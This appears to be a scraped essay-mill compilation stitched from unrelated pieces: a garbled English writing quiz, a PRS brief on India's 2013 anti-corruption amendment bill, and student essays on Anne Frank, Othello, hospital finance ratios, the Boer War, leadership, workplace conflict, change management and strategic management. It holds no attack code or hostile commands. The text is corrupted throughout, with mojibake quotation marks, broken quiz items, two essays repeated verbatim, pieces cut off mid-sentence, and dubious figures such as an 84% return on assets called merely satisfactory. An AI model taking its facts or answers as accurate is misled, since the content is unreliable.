Which of the following would be an appropriate way to add variety to your sentences? A. Use questions and answers together. B. Add personal anecdotes. C. Use more close-up words. D. Make your sentences read like a spoken conversation. 2. Nelson's hobby is tinkering with small appliances. Tinkering with implies that Nelson is unskilled at his hobby. You want to change the flavor of this sentence to show that Nelson is, in fact, quite skilled at his hobby. Which of the following should you choose to replace tinkering with so that the reader gets the right idea? A. Selling B. Fiddling with C. Repairing D.Messing with 3. Anna is an exceptional young girl. Anna does any Job that needs to be done. To vary the sentence structure, which one of the following sentences should you insert in the blank? A. Anna is a hardworking and versatile person. B. Anna works hard every day of her life. C. Anna is always working hard at home. D. Have you noticed how hard she works? 4. Which of the following d irect quotations is punctuated properly? A. â€Å"Way to go, Sean,† the coach shouted. â€Å"That was a great run! † B. â€Å"Way to go, Sean,† the coach shouted. â€Å"That was a great run†! C. â€Å"Way to go, Sean†, the coach shouted. That was a reat run†! D. â€Å"Way to go, Sean†, the coach shouted. â€Å"That was a great run! † 5. When we speak of the flavor of a word, we're talking about the extra understood meanings that it carries in addition to its main meaning. These extra meanings are called denotations. ‚ ¬8. shadings. C. connotations. D. definitions. 6. A thesaurus is a book that's useful for finding A. synonyms. B. definitions. C. frequently misspelled words. D. famous persons. 7. Which is the best strategy to follow when you write a report or an essay? A. Get it right the first time and put it aside until it's due. B.Revise it over and over for at least hree or four years. C. Work on it over a seven-day p eriod and rewrite it at least twice. D. Write it in one sitting and revise it only once. 8. Find the sentence with the active voice. A. It was voted by the legislature to pass. B. I was told by the chairman that the bill was passed by the legislature. C. The bill was passed by the legislature. D. The chairman told me that the legislature passed the bill. 9. Of the following methods, the best way to increase your reading is by A. forcing yourself to read subjects you dislike. B. setting a goal to read five new pages every night. C. eading a new book every day. D. Joining a mail-order book club. 10 which ot the tollowing words is most likely to carry a connotation? A C. walk D. stride 1 1 . Of these four words, which one is most likely to have a negative flavor? A. Harangue B. Confound C. Meander D. Distract 12. Which of the following sentences is written in the passive voice? A. The effects of cyanide are well known. ‚ ¬8. Having left the building, Elvis never returned. C. I would not provoke that man if I were you. D. They considered their options. 13. Which one of the following sentences or phrases is most likely to be considered a clich ©?A. How dead is a dead doornail? B. Are you a man or a moose? C. Look before you leap. D. When in doubt, pout. 14. Which of the following sentences uses the best close-up words? A. Sara is pursuing a non-science degree. B. Sara is studying languages. C. Sara is studying French and German. D. Sara is pursuing a degree. 15. Which one of the following statements about making your writing fun to read is not correct? A. Direct quotations should be reserved for characters in stories. B. Give your writing a personal touch by showing that you're interested in your subject. C.The conversation you write must sound natural for the characters. D. An anecdote or humorous quotation is often more convincing than a strong argument. 16. When using direct quotations in your writing, which of the following should be placed outside th e set of quotation marks? A. Semicolon B. Question mark C. Comma D. Period 17. A clich © is a B. new C. worn-out D. wordy expression. A. foreign 18. Read the word in parentheses; then decide which of these sentences most effectively translates an abstract concept into a mental picture. A. (Sunrise) The rising sun transformed the canyon into bright stone and deep shadow.B. (Studious) Lucy ay on her bed reading a back issue of National Geographic. C. (Freedom) On her twenty-first birthday, Lola declared herself a woman. D. (Rumors) Whispers of doubt filled the empty halls like the reek of boiled cabbage. 19. An antonym is a word that's A. the same in meaning. B. pronounced the same. C. defined in a thesaurus. D. opposite in meaning. 20. What is the most important point in the following sentence? My sister, Emily, the tallest girl in her class, has many friends. A. Emily is the tallest girl in her class. B. My sister's name is Emily. C. Emily is my sister. D. Emily has many friends.

Legislative Brief Essays - Prevention Of Corruption Act, Bribery

Legislative Brief Essays - Prevention Of Corruption Act, Bribery Legislative Brief The Prevention of Corruption (Amendment) Bill, 2013 The Prevention of Corruption (Amendment) Bill, 2013 was introduced in the Rajya Sabha on August 19, 2013. It was referred to the Standing Committee on Personnel, Public Grievances, Law and Justice on August 23, 2013. The Committee submitted its Report on February 6, 2014. Recent Briefs: The Real Estate (Regulation and Development) Bill, 2013 June 10, 2014 The Civil Aviation Authority of India Bill, 2013 March 29, 2014 Prianka Rao [emailprotected] July 23, 2014 Highlights of the Bill The Prevention of Corruption (Amendment) Bill, 2013 amends the Prevention of Corruption Act, 1988. The Act covers the offence of giving a bribe to a public servant under abetment. The Bill makes specific provisions related to giving a bribe to a public servant, and giving a bribe by a commercial organisation. The Bill redefines criminal misconduct to only cover misappropriation of property and possession of disproportionate assets. The Bill modifies the definitions and penalties for offences related to taking a bribe, being a habitual offender and abetting an offence. Powers and procedures for the attachment and forfeiture of property of public servants accused of corruption have been introduced in the Bill. The Act requires prior sanction to prosecute serving public officials. The Bill extends this protection to former officials. Key Issues and Analysis The Bill makes giving a bribe a specific offence. There are diverging views on whether bribe giving under all circumstances must be penalised. Some have argued that a coerced bribe giver must be distinguished from a collusive bribe giver. The Bill has deleted the provision that protects a bribe giver from prosecution, for any statement made by him during a corruption trial. This may deter bribe givers from appearing as witnesses in court. The Bill has replaced the definition of criminal misconduct. It now requires that the intention to acquire assets disproportionate to income also be proved, in addition to possession of such assets. Thus, the threshold to establish the offence of possession of disproportionate assets has been increased by the Bill. By redefining the offence of criminal misconduct, the Bill does not cover circumstances where the public official: (i) uses illegal means, (ii) abuses his position, or (iii) disregards public interest and obtains a valuable thing or reward for himself or another person. Under the Act, the guilt of the person is presumed for the offences of taking a bribe, being a habitual offender or abetting an offence. The Bill amends this provision to only cover the offence of taking a bribe. PRS Legislative Research Institute for Policy Research Studies 3rd Floor, Gandharva Mahavidyalaya 212, Deen Dayal Upadhyaya Marg New Delhi 110002 Tel: (011) 43434035-36, 23234801-02 www.prsindia.org The Prevention of Corruption (Amendment) Bill, 2013PRS Legislative Research PART A: HIGHLIGHTS OF THE BILL1 Context Currently, offences related to corrupt practices of public officials are regulated by the Prevention of Corruption Act, 1988. The Prevention of Corruption Act, 1988 covers taking a bribe, criminal misconduct and mandates prior government sanction to prosecute a public official. In 2008, an amendment Bill was introduced which included provisions related to extending prior sanction for prosecution to former public officials, and the attachment of property of corrupt public officials. However, that Bill lapsed.2 In 1999, the Law Commission of India recommended that a separate Bill related to forfeiture of property of corrupt public officials be introduced.3 In 2007, the report of the Second Administrative Reforms Commission recommended that the Act be amended to include bribe giving as an offence, limit prior sanction for prosecution to certain cases, and provide for the attachment of property of public officials accused of corruption.4 In 2011, India ratified the United Nations Convention against Corruption, and agreed to bring its domestic laws in line with the Convention. The UN Convention covers giving and taking a bribe, illicit enrichment and possession of disproportionate assets by a public servant as offences, addresses bribery of foreign public officials, and bribery in the private sector.5 The Prevention of Corruption (Amendment) Bill, 2013 was introduced in Parliament in August 2013. The Bill amends the Prevention of Corruption Act, 1988. The Bill provides for the offence of giving a bribe by individuals and organisations, extends the requirement of prior sanction for prosecution to former public officials and covers attachment and forfeiture of property.

Research Paper on Anne Frank

Research Paper on Anne Frank The struggles that a person pursues makes for a strong character. A unique perspective of a young girls struggles is chronicled in Anne Franks: The Diary of a Young Girl. It is a compelling example of a young Jewish girl maturing rapidly in the two years between the ages of 13 and 15 while hiding from the Nazis during World War II. These are the two years in which change is so swift and difficult for every young girl. Her numbness to the atrocities of war, her despair at her own situation and her hope and belief in the human spirit in the face of the horrors of war and Nazi persecution make Anne Franks character stronger. Anne develops and shows an apparent numbness to the accounts of atrocities committed by the Nazis. She relates a news account of what happens to Nazi resistors in a matter-of-fact manner. Anne writes, Have you ever heard the term Ð ¡hostages? Leading citizens innocent people are taken prisoner to await their execution. If the Gestapo cant find the saboteur, they simply grab five hostages and line them up against the wall. You read the announcements in the paper of their deaths being Fatal accidents. (October 9, 1942). The manner in which Anne relates this account shows a kind of acceptance of what is happening. It does not seem to horrify her or outrage her. Living in the Annexe has had a soothing effect on Anne. She retreats to her world and sees the war outside the Annexe as distant. In her diary Anne writes, And every night hundreds of planes fly over Holland and go to German towns, where the earth is ploughed up by their bombs. It is quiet and safe here wait as calmly as we can till the misery comes to an end. (June 13, 1943). This entry shows Annes acceptance of the situation she is in. She sees and hears about what is happening to the Jews but feels separated, unaffected by it. She has become insulated in the Annexe, separated from the war. As time passes, Anne becomes used to the sights and sounds of war. Anne writes, Before a quarter of an hour had passed the shooting started up again. Mrs. Van Daan sat bolt upright at once and then went downstairs to Mr. Dussels room, seeking there the rest which she could not find with her spouse. Dussel received her with the words come into my bed, my child! which sent us off into uncontrollable laughter. The gunfire bothered us no longer, our fear was banished. (May 18, 1943). This shows Annes acceptance of the sounds of war. Unable to do anything about it, unable to escape it, it becomes a part of daily life. Although Anne tries to see something positive in most situations and remain optimistic, she at times falls into great depths of despair and she becomes angry or deeply saddened. On the subject of her heritage, after hearing how the Germans are treating the Jewish population of Germany through BBC broadcasts, Anne becomes very angry and hurt because she too is German. She writes, Fine specimens of humanity, those Germans, and to think that Im actually one of them! (October 9, 1942). The indignation in Annes writing is evident. She is angry with those Germans who started and supported this war. Her despair is brought on by the betrayal she feels at the hands of her own countrymen. Anne is frustrated at not being in control of the situation she finds herself in. Her despair is heightened by the fact she feels helpless to do anything. Anne writes, Ive reached the point where I hardly care whether I live or die. The world will keep on turning without me, and I cant do anything to change events anyway. Ill just let matters take their course (February 3, 1944). This shows that Anne feels that she cannot affect any change to what is going on around her. Her feelings of helplessness and resolve to accept whatever will happen show her despair. When news that there does not seem to be a quick end to the war, Annes despair over her life and her situation come to the forefront, even though she tries to be courageous and not show it in front of the others. In her diary Anne writes, but the minute I was alone I knew I was going to cry my eyes out. I slid to the floor in my nightgown and began by saying my prayers, very fervently. Then I drew my knees to my chest, lay my head on my arms and cried, huddles up on the bare floor. A loud sob brought me back down to earth (April 5, 1944). This shows Annes struggles with her emotions. She feels frustrated and angry and helpless, yet she puts on a brave face in front of the others and lets her feelings come out only when she is alone. Throughout her time hiding in the Annexe, Anne never lets go of her belief in the strength of the human spirit. Anne believes that there is good in everyone. She writes Its really a wonder that I havent dropped all my ideals, because they seem so absurd and impossible to carry out. Yet I keep them, because in spite of everything I still believe that people are really good at heart. (July 15, 1944). Faith in the goodness of the person and the spirit has not been lost. Anne still believes that people are good at the core even though sometimes they act oppositely. Anne holds out hope that people will do the right thing when she hears news of an attempt on Hitlers life. She writes, Now I am getting really hopeful, now things are going well at last. Yes, really, theyre going well! Super news! An attempt has been made on Hitlers life and not even by Jewish communists or English capitalists this time, but by a proud German general and it certainly shows that there are lots of officers and generals who are sick of the war and would like to see Hitler descend into a bottomless pit. ( July 21, 1944). This reinforces Annes belief that people are good deep down, and want to do what is right. Anne has hope for the future. She writes, It is utterly impossible for me to build my life on a foundation of chaos, suffering and death I somehow feel that everything will change for the better, that this cruelty too shall end, that peace and tranquility will return once more. (July 15, 1944). Despite all, Anne sees and feels that things will change. She truly believes that there is hope for a better future.

Analyzing Jealousy In Othello English Literature Essay

Analyzing Jealousy In Othello English Literature Essay Shakespeare’s play of Othello is largely driven by a grand love story, and filled with jealousy. Through the juxtaposition of Othello’s credulous nature and Iago’s pernicious villainy, the image of jealousy is truly personified as an all-consuming â€Å"green-eyed monster†. Because of this venomous nature of the beast of jealousy, the events of the play manage to unfold in Iago’s lustful authority, which bring down the eponymous character to his tragic downfall. In human psychology today, the modern definition of jealousy remains relatively unchanged from Shakespeare’s time, albeit being expressed in more modern scientific terms. It is defined as â€Å"a complex of thoughts, feelings, and actions which follow threats to self-esteem and/or threats to the existence or quality of the relationship †¦ generated by the perception of a real or potential attraction between one’s partner and a (perhaps imaginary) rival.† (White, 19 81, p. 24). In scenes of jealousy, there are typically a triad of people involved: a jealous and threatened individual, a partner of the opposite gender, and his/her third party rival. In the case of Othello, there are certainly three important people involved at the beginning: Iago being the jealous individual, Desdemona being the partner, and Othello being the third party rival. Iago definitely feels threatened by Othello’s dominance over him, both in his military rank and his relationship with Desdemona, as portrayed upon Iago’s words, â€Å"I hate the Moor!† (I,iii,377). Iago then manages to spread his jealousy to his impending victims, such as Othello; as the subject of his jealousy is partly the sheer beauty of Desdemona. In the plot of Othello, the most devious and perfect example of a human incarnation of the â€Å"green-eyed monster† is Iago. Iago originally becomes jealous when Othello succeeds in convincing Desdemona to marry him. Iago’s searing hate of Othello deep within him also contributes to his extreme jealousy. He is also very envious of Othello’s military rank of the General of the Venetian Army – in military terms, Iago is ranked two levels below him. The jealous Iago crafts his plans with the intention to bring down Othello exactly in these two areas: to eventually force Othello to lose his position as General (I,iii,395), and to create distrust within him and Desdemona, such that the two will eventually split (I,iii,339). Iago’s inner personality is ideal for a villain; he is innately a very sly, manipulative and venomous man, who is willing to take every risk to ensure that his plans are carried out successfully. However, despite his intense jealousy, Iago astutely manages to control his feelings and hide his jealousy, such to the degree he earns the informal title â€Å"honest Iago† among the characters of the play. Because of Iago’s pernicious and duplicitous charact er, his kind of jealousy can be perfectly portrayed as the pernicious â€Å"green eyed monster† – it strikes slowly, stealthily and deceptively, but once it hits, it is lethal and very contagious. A direct example of how Iago’s jealousy is key in giving his schemes their devious characteristics is shown in a crucial scene in Act 3, when Cassio spontaneously finds an anonymous handkerchief on his bed. That scene, in short, is a perfect testament to Iago’s manipulative genius and sly deceptiveness. From the pure coincidence of Emilia placing the handkerchief onto Cassio’s bed, to Iago’s luck of Bianca scolding Cassio and assuming him of leaving her to another woman, we can see how intricately weaved and devious, yet perfectly planned Iago’s scheme is; he is ALWAYS thinking. Yet, Iago is very patient in his scheme – the whole episode evolves not in seconds or in minutes, but in a matter of hours or even days. In addition, Iago man ages to see this part of his scheme unroll successfully, without even being noticed or brought into the picture at all! As such, from the flawless manner in which Iago’s scheme unrolls in this episode, we can perfectly see how and why Iago seems like the ideal, pernicious villain, whose intense jealousy strikes not unlike Shakespeare’s â€Å"green eyed monster† – slowly, stealthily, but lethally.

Health Care Finance (Module 1-CBT) Research Paper

Health Care Finance (Module 1-CBT) - Research Paper Example The industry average for health care industry is a current ratio of 2:1. Days in accounts receivables show how many days it will take for OHC to collect its outstanding receivables. As shown from above, OHC took 32.91 days (on average) to collect its receivables in 2007; and this situation has worsened in 2008 where the company took 55.22 days to collect the outstanding amounts. These high values show that there may be a problem in revenue collection process and the company needs to address the issue quickly to ensure that receivables are collected in quick time. The analysis of liquidity ratios shows that the company is fairly liquid. It is able to meet its short term obligations. However, the days in accounts receivable has worsened than 2007 and some action may be required to reduce the number of days to collect outstanding funds. The operating margin ratio was 76.5% in 2007 which shows that the cost of services provided by OHC is small as compared to the revenue generated (that is, for every $1 revenue, the company incurs an operating cost of $0.235. This shows healthy performance. The operating margin ratio has improved in 2008 (as it increases to 78.5%). This shows that the operating cost has gone further down as compared to 2007. As shown from above, OHC was fairly profitable in 2007 and the gross profit margin has increased in 2008. Although, it may be argued that healthcare organization should not have very high profit margins as this indicates that they are charging high fee from patients. c. Return on Assets (ROA) The ROA for OHC is calculated as below: Return on Assets for OHC Medical Center Year Net Income / Total Assets = ROA 2007 $37,370,000 / $44,450,000 = 84.07% 2008 $34,177,000 / $49,370,000 = 69.23% Although the company has been profitable during 2007 and 2008; but the above table shows that OHC has not been able to effectively utilize its assets towards generation of profits. The Return on Assets was 84% in 2007 which was satisfactory but it declined sharply in 2008 to 69%. This may not be acceptable to shareholders as this indicate

Did the British win the Boer War only to lose the peace Essay

Did the British win the Boer War only to lose the peace - Essay Example This paper will show how Britain’s victory in the Boer War robbed Britain peace. The first 1880-1881 Boer War, which has as well been entitled as the Transvaal Revolt, was against the 1877 British annexation (Lamband 2005) and (Thompson 1960). The 2nd Boer War ‘Tweede Boereoorlog’,‘ Afrikaans: Tweede Vryheidsoorlog’, or ‘Dutch: Tweede Boerenoorlog’was battled from October 11 1899 until May 31 1902 amid the Afrikaans-speaking Dutch-settlers and the British Empire of two self-governing Boer republics, the Orange Free Nation and the Transvaal Republic (South African Republic) (Pakenham 1991) and (Porter 1980). The war concluded with a victory for British and the British Empire annexed both states; both republics would finally be merged into the South African Union, a British Empire territory, in 1910 (Lamband 2005). The main root of the conflict was the political ideologies differences between the Boers and the British (Pakenham 1991) and (P orter 1980). The British imperial pursued a confederacy of the entire South Africa beneath the British emblem (Porter 1980). The Boers who lived in the two main nations namely the Orange Free State and the South African Republic tried to uphold their nationality (Pakenham 1991), (Lamband 2005) and (Schreuder1980). The two states presence, therefore, functioned as an obstruction for the unification idea of British. This hindrance of political ideology differences was more compounded with the gold discovery gold upon the Witwatersrand within the South African State (Pakenham 1991). The discovery of gold attracted thousands miners and prospectors from around the globe to the gold fields with one aim in mind - to pursue their treasure. The South African Republican inhabitants saw the new arrivals (Uitlanders) as a danger to their ongoing sovereignty (Porter 1980).The Kruger administration (of the South African Republic), consequently, placed limitations upon the Uitlander's license for Volksraad and presidential elections (judicial assembly/ Boers’ legislature) to naturalized inhabitants who had lived in the nation for 14 years (Pakenham 1991), (Lamband 2005) and (Schreuder 1980). Although relatively a small number of newcomers were sincerely concerned on the franchise issue, this turned into a crucial issue amid the British regime and the South African Republican government (Lamb and 2005) and (Thompson1960). In 1835 to 1845, around 15,000 Voortrekkers (populaces of Dutch-extract) shifted out of the Cape Colony (British) through the Gariep-Orange River to the central of South Africa (Thompson 1960). Voortrekkers’ Great Trek was a refutation of the Britain’s philanthropic guidelines with its white and black equalization at the Cape Colony as well as the political sidelining they underwent on the eastern-Cape border (Pakenham 1991) and (Thompson 1960). They founded two independent nations - the Orange Free State and the Transvaal - as acknowled ged by Great-Britain in 1852, at the Sand River as well as 1854 Bloemfontein Treaties (Porter 1980), (Lamband 2005) and (Schreuder 1980).The republicans attained the title 'Boers', the ‘Dutch and Afrikaans’ expression for farmers. Similar to many African societies in their frontiers, the stock ranching Boers relished a pre-industrialist, near-subsistence economy. Just gradually effectual state

Leadership Personal Statement Example | Topics and Well Written Essays - 750 words

Leadership - Personal Statement Example Manifestation of maladaptive motivation arises when organizations possess high tendency of tolerating violent behavior. Managers of the organization can assist by practicing and maintaining the ethical environment at workplace so that the organizational culture reflects ethical culture along with highly motivated employees. â€Å"Leaders need to have a degree of confidence to make tough decision, but their self-images are often seriously distorted.† (p. 54) Self-image refers to the image which a person holds for himself. Many researches in psychology have highlighted the importance of Self-image in one’s personal and professional life. For an effective leadership, it is vital to possess a positive and optimistic self-image. Leaders must have the faith and confidence in their decisions. For that, it is necessary to have enough brainstorming done before taking any tough decision. All the pros and cons must be analyzed carefully, maximum number of managers must be involved in the final decision to avoid any uncertain situation and bring the desired goals into reality. Sharing information with reliable employees also lightens the burden of managers. Smart managers understand this fact that confidence has a considerable impact on their decision making and ultimately on the profitability of the company. â€Å"Successful leaders see hard times as positive high points of their lives. In contrast, less successful leaders are defeated and discouraged by similar events.† (p. 99) Not only leaders, even every individual person gets stronger after facing hardships in life. Every pain and harm serves with a lesson. Successful leaders don’t get themselves caught up in any problem. They tend to keep on striving for better results in future. They believe that failure creates new opportunities for them in contrast to that, fearful and less successful leaders get discouraged by these types of events. It is often said that; â€Å"Hardships test Leaderâ €™s true strength†. When things are good, leaders demonstrate leadership qualities, but when things go wrong many leaders get apprehensive and go astray. That’s the right time to test and judge a leader. The true way of measuring a person is to see how they perform in difficult times. In my mind, leaders are than remembered for their leadership traits in that tough time, and not because of their wins and losses. â€Å"Clearly virtuous leaders are other-centered, not self-centered (p.170)." Through decades, it has been observed that a good leader is more concerned about others than their own self. Recent example that supports this statement is Steve Jobs. Despite of being diagnosed with cancer, he gave his optimum efforts to satisfy and please Apple’s customers and to increase the profitability of his company. Under the reign of Steve Jobs, the stock price of Apple’s share grew around 9000%. It shows the importance of selflessness of a leader. This typ e of leadership style is known as Servant Leadership. Presence of such leadership inspires not only the employees but the customers as well. The strength of this style of leadership is that it values, respects and motivates employees who are reporting to them. It forces people away from domineering and self-serving leadership, hence when everyone reaches their full potential, the overall performance of the company gets better. â€Å"Limiting leadership solely to good leadership ignores the reality that a

Work control and conflict in formal organizations Essay

Work control and conflict in formal organizations - Essay Example Using Edwards’ definition of labor markets, Company A is an Independent Primary Market (p.418). Employment is stable and job security high because there is never a lack of criminal offenders. There are possibilities of being promoted to a higher rank, or transferring to one of many other positions within the jail. Specific physical and educational requirements must be met and the pay is competitive. In 2004 Company A won a battle to decertify the existing Teamsters Union and form its own Guild in an attempt to secure a better bargaining position with the county. The conflicts at Company A are many and diverse. The line officers and administrative staff (the decision makers) have different views on inmate and officer safety concerns, work hours and conditions and types of initiatives the officers are permitted to take regarding inmate discipline or operating procedures. Teams of personnel who work well together are being assigned separate posts, and there is no longer the feeling of camaraderie that was the norm a few years ago. On a daily basis, the work environment at Company A exemplifies several of Dalton’s descriptions of conflict (p. 153). The new administration, in its attempt to exert control and in an honest effort to improve efficiency, holds many meetings to develop new policies, techniques, and work standards. Whether to return to prior norms or to antagonize management, line officers frequently and deliberately create situations so that these new ideas will fail. The main reason for this worker behavior is that, with few exceptions, management style at Company A tends toward the Initiating Structure Leadership style (Pool, p. 272) and technical control (Edwards, p. 415). The result is micro management. Leaders utilizing the Initiating Structure Leadership style as defined by Pool organize and define the relationships of the group and dictate how the work is to be

Change Management and Information Technologies Coursework

Change Management and Information Technologies - Coursework Example Change management is of paramount concern within companies, especially in the modern day when changes occur so rapidly and with apparently increasing frequency. The effects on employees must be taken into account when considering these changes. It can be seen as a fulcrum around which many of the great advantages and yet also the challenges of IT revolve. Employees may be empowered to perform new tasks in a much easier manner, and yet may also become disillusioned as they feel they are even more simply a cog within a machine than they were before. While the minutia of instituting change within IT often revolves around practical problems such as software implementation and training of employees, it is just as important to consider the wider implications such as the effect upon the company culture and employee morale of the new technology. These are not peripheral concerns: they are central to the performance of employees and thus the overall success of the company. This analysis will consider how can a manager make sense of the numerous different models and the complexity of the changes that will occur with technological advancements. This has been a central role within business studies for a number of years. The manager needs to be able to consider ahead of time the likely consequences upon both the overall company and specifically upon employee performance before the IT change has occurred. In many ways the culture of the company is most important. A corporate culture can be defined in a number of ways. But in general it consists of a disparate number of forces at work within a company. These include everything from beliefs to systems to the company history to the overall attitude of employees. This might seem overly complex and amorphous for actual practical use, so various attempts have been made to systemize the analysis of corporate culture.One powerful method is through the cultural web. The cultural web is a means of investigating and revealing the culture of an organization. It represents how culture is expressed and how it manifests itself: A Cultural Web The central area of the Venn diagram that represents the cultural web is where the paradigm of change occurs. The manager must view this paradigm within the complexity of the web that has been produced by the various factors that go into the individual sectors:- such as "stories", "power", "symbols", and "routines/rituals". All of these are what make up the culture of a company, and, as can be seen from a cursory glance, they are all 'human' variables that will be held within the general culture of the company. Thus the manager needs to consider how the changes being considered will effect this culture and how, perhaps more importantly, the culture will influence them. This can be related to Baloqun's initial idea of considering the context-specific situation that occurs within a company. The change plan must be made to at least fit reasonably easily within the culture that already exists within the company rather than forcing a radical change within that culture. It is clear that sometimes a radical change in corporate culture is needed (Enron might have benefited from such a change before

Leadership Personal Statement Example | Topics and Well Written Essays - 750 words

Leadership - Personal Statement Example Manifestation of maladaptive motivation arises when organizations possess high tendency of tolerating violent behavior. Managers of the organization can assist by practicing and maintaining the ethical environment at workplace so that the organizational culture reflects ethical culture along with highly motivated employees. â€Å"Leaders need to have a degree of confidence to make tough decision, but their self-images are often seriously distorted.† (p. 54) Self-image refers to the image which a person holds for himself. Many researches in psychology have highlighted the importance of Self-image in one’s personal and professional life. For an effective leadership, it is vital to possess a positive and optimistic self-image. Leaders must have the faith and confidence in their decisions. For that, it is necessary to have enough brainstorming done before taking any tough decision. All the pros and cons must be analyzed carefully, maximum number of managers must be involved in the final decision to avoid any uncertain situation and bring the desired goals into reality. Sharing information with reliable employees also lightens the burden of managers. Smart managers understand this fact that confidence has a considerable impact on their decision making and ultimately on the profitability of the company. â€Å"Successful leaders see hard times as positive high points of their lives. In contrast, less successful leaders are defeated and discouraged by similar events.† (p. 99) Not only leaders, even every individual person gets stronger after facing hardships in life. Every pain and harm serves with a lesson. Successful leaders don’t get themselves caught up in any problem. They tend to keep on striving for better results in future. They believe that failure creates new opportunities for them in contrast to that, fearful and less successful leaders get discouraged by these types of events. It is often said that; â€Å"Hardships test Leaderâ €™s true strength†. When things are good, leaders demonstrate leadership qualities, but when things go wrong many leaders get apprehensive and go astray. That’s the right time to test and judge a leader. The true way of measuring a person is to see how they perform in difficult times. In my mind, leaders are than remembered for their leadership traits in that tough time, and not because of their wins and losses. â€Å"Clearly virtuous leaders are other-centered, not self-centered (p.170)." Through decades, it has been observed that a good leader is more concerned about others than their own self. Recent example that supports this statement is Steve Jobs. Despite of being diagnosed with cancer, he gave his optimum efforts to satisfy and please Apple’s customers and to increase the profitability of his company. Under the reign of Steve Jobs, the stock price of Apple’s share grew around 9000%. It shows the importance of selflessness of a leader. This typ e of leadership style is known as Servant Leadership. Presence of such leadership inspires not only the employees but the customers as well. The strength of this style of leadership is that it values, respects and motivates employees who are reporting to them. It forces people away from domineering and self-serving leadership, hence when everyone reaches their full potential, the overall performance of the company gets better. â€Å"Limiting leadership solely to good leadership ignores the reality that a

Change Management and Information Technologies Coursework

Change Management and Information Technologies - Coursework Example Change management is of paramount concern within companies, especially in the modern day when changes occur so rapidly and with apparently increasing frequency. The effects on employees must be taken into account when considering these changes. It can be seen as a fulcrum around which many of the great advantages and yet also the challenges of IT revolve. Employees may be empowered to perform new tasks in a much easier manner, and yet may also become disillusioned as they feel they are even more simply a cog within a machine than they were before. While the minutia of instituting change within IT often revolves around practical problems such as software implementation and training of employees, it is just as important to consider the wider implications such as the effect upon the company culture and employee morale of the new technology. These are not peripheral concerns: they are central to the performance of employees and thus the overall success of the company. This analysis will consider how can a manager make sense of the numerous different models and the complexity of the changes that will occur with technological advancements. This has been a central role within business studies for a number of years. The manager needs to be able to consider ahead of time the likely consequences upon both the overall company and specifically upon employee performance before the IT change has occurred. In many ways the culture of the company is most important. A corporate culture can be defined in a number of ways. But in general it consists of a disparate number of forces at work within a company. These include everything from beliefs to systems to the company history to the overall attitude of employees. This might seem overly complex and amorphous for actual practical use, so various attempts have been made to systemize the analysis of corporate culture.One powerful method is through the cultural web. The cultural web is a means of investigating and revealing the culture of an organization. It represents how culture is expressed and how it manifests itself: A Cultural Web The central area of the Venn diagram that represents the cultural web is where the paradigm of change occurs. The manager must view this paradigm within the complexity of the web that has been produced by the various factors that go into the individual sectors:- such as "stories", "power", "symbols", and "routines/rituals". All of these are what make up the culture of a company, and, as can be seen from a cursory glance, they are all 'human' variables that will be held within the general culture of the company. Thus the manager needs to consider how the changes being considered will effect this culture and how, perhaps more importantly, the culture will influence them. This can be related to Baloqun's initial idea of considering the context-specific situation that occurs within a company. The change plan must be made to at least fit reasonably easily within the culture that already exists within the company rather than forcing a radical change within that culture. It is clear that sometimes a radical change in corporate culture is needed (Enron might have benefited from such a change before

The Strategic Management Process Essay Example for Free

The Strategic Management Process Essay Introduction Strategic management process can be defined as â€Å"a managerial process that involves matching organizational capabilities to market opportunities† (Stevens, Sherwood, Dunn, Loudon, 2006, p. 15). The process can be either done on a corporate level involving whole companies or divisions or at an individual level involving a single product or service. First, the company’s strategic division analyzes the opportunities in the market and then matches the company’s resources to these opportunities. The major decisions taken by the strategic managers are whether a company is ready to take advantage of the opportunities in the market place, and set a broad plan to achieve it. To ensure that the strategic planning in a company is successful, the top management and line managers need to be closely involved in the process, and not just the strategic planners who facilitate the process. This paper discusses the strategic planning process in general as it applies to a company. The various elements of the process are analyzed first, in addition to the roles of the various managers in the process in the literature review section. The practical aspect of planning, the issues that can arise in various situations are covered next in the analysis. The problems arising from incorrect or incomplete planning process are also discussed in this section. The explosive rate of globalization has affected the strategic management process in a big way, and so has the computerization of business due to the advent of Internet. The affects of these changes on the strategic management process are discussed in the subsequent section. Finally a summary of the paper is given which highlights the main points of the discussion in the previous sections. Strategic Management Process Strategy defined by Armstrong (cited in McCourt, Eldridge, 2003, p. 25), is â€Å"a statement of what the organization wants to become, where it wants to go and, broadly how it means to get there†. Mc Court and Eldridge have also described strategic management as a simple process, and have given the following figure to mention the various components associated with it. Fig: 1 Strategist Management Process (McCourt, Eldridge, 2003, p. 25) According to the figure given above, the strategic management process begins with a mission, which is essentially the intention of a company’s existence and its purpose in general. Companies usually have a well-defined mission statement towards this purpose. The next element i.e. objectives define a company’s specific targets under the scope of the mission. The objectives are usually a set of statements that define the targets of the company. While mission is generic, objectives are specific and in many cases even quantified. The next element of the strategic management process is strategy, which is the broad plan or approach followed to achieve the objectives. The strategy merely defines the role of various departments or level of managers; it is not specific and acts merely as a guideline. Finally the implementation can be a tactical plan or exact roles and responsibilities along with set target dates for achieving a particular objective. Strategic management process hence adds strategic planning and implementation by adding ongoing attention to budgeting, to performance measurement, management and evaluation, and to feedback relationships among these elements (Hutzschenreuter, Kleindienst, 2006, p. 678). Poster and Streib (cited in Peters, Pierre, 2003, p. 40) present a framework for thinking about strategic management as a process. Their framework incorporates seven elements: values, mission and vision; strategic planning; results-oriented budgeting; performance management; strategic measurement; assessment of the internal and external environment; and feedbacks relationships among these elements. The first element in their framework comprises of values, mission and vision which are seen as a central organizing force for the strategic management process. The next stage i.e. strategic planning can be used to help the organizations get their values, mission and vision and to develop strategic initiatives to realize in practice. Result-oriented budgeting helps to organize the resources needed to fulfill the initiatives. Performance management involves strategies and mechanisms for assigning the responsibility for strategic initiatives to specific units and individuals and holding them accountable for results. Strategic measurement involves identification and tracking of valid measures of the organization’s attempts as it to achieve its strategic objectives. The next element as the name suggests analyzes the various pertinent factors in the internal and external environment of the organization, and their corresponding effects on the environment. Finally the element of feedback from the client helps in assessing the process of effective learning, adaptation and leadership (Peters, Pierre, 2003, p. 40). The strategic management process is a complex one and as suggested by Hutzschenreuter, Kleindienst, (2006, p. 677), it is also shaped by the environmental and organizational context. Business strategy development was due to a purely practical requirement’s perspective Post the world war in 1950s, the world for the first time became aware of the business opportunities that existed by considering rest of the world as markets, rather than production places. This brought about a very complex business structure, which became even more complex to manage financially. Thus formal business strategies were first built in 1970s to focus on planned diversification of companies. Hence, corporate planning, which was the norm of the business units till then, shifted to business strategy (Farjoun, 2001, p. 580). Strategy is essentially a deliberate search for a plan of action which will bring competitive advantage and 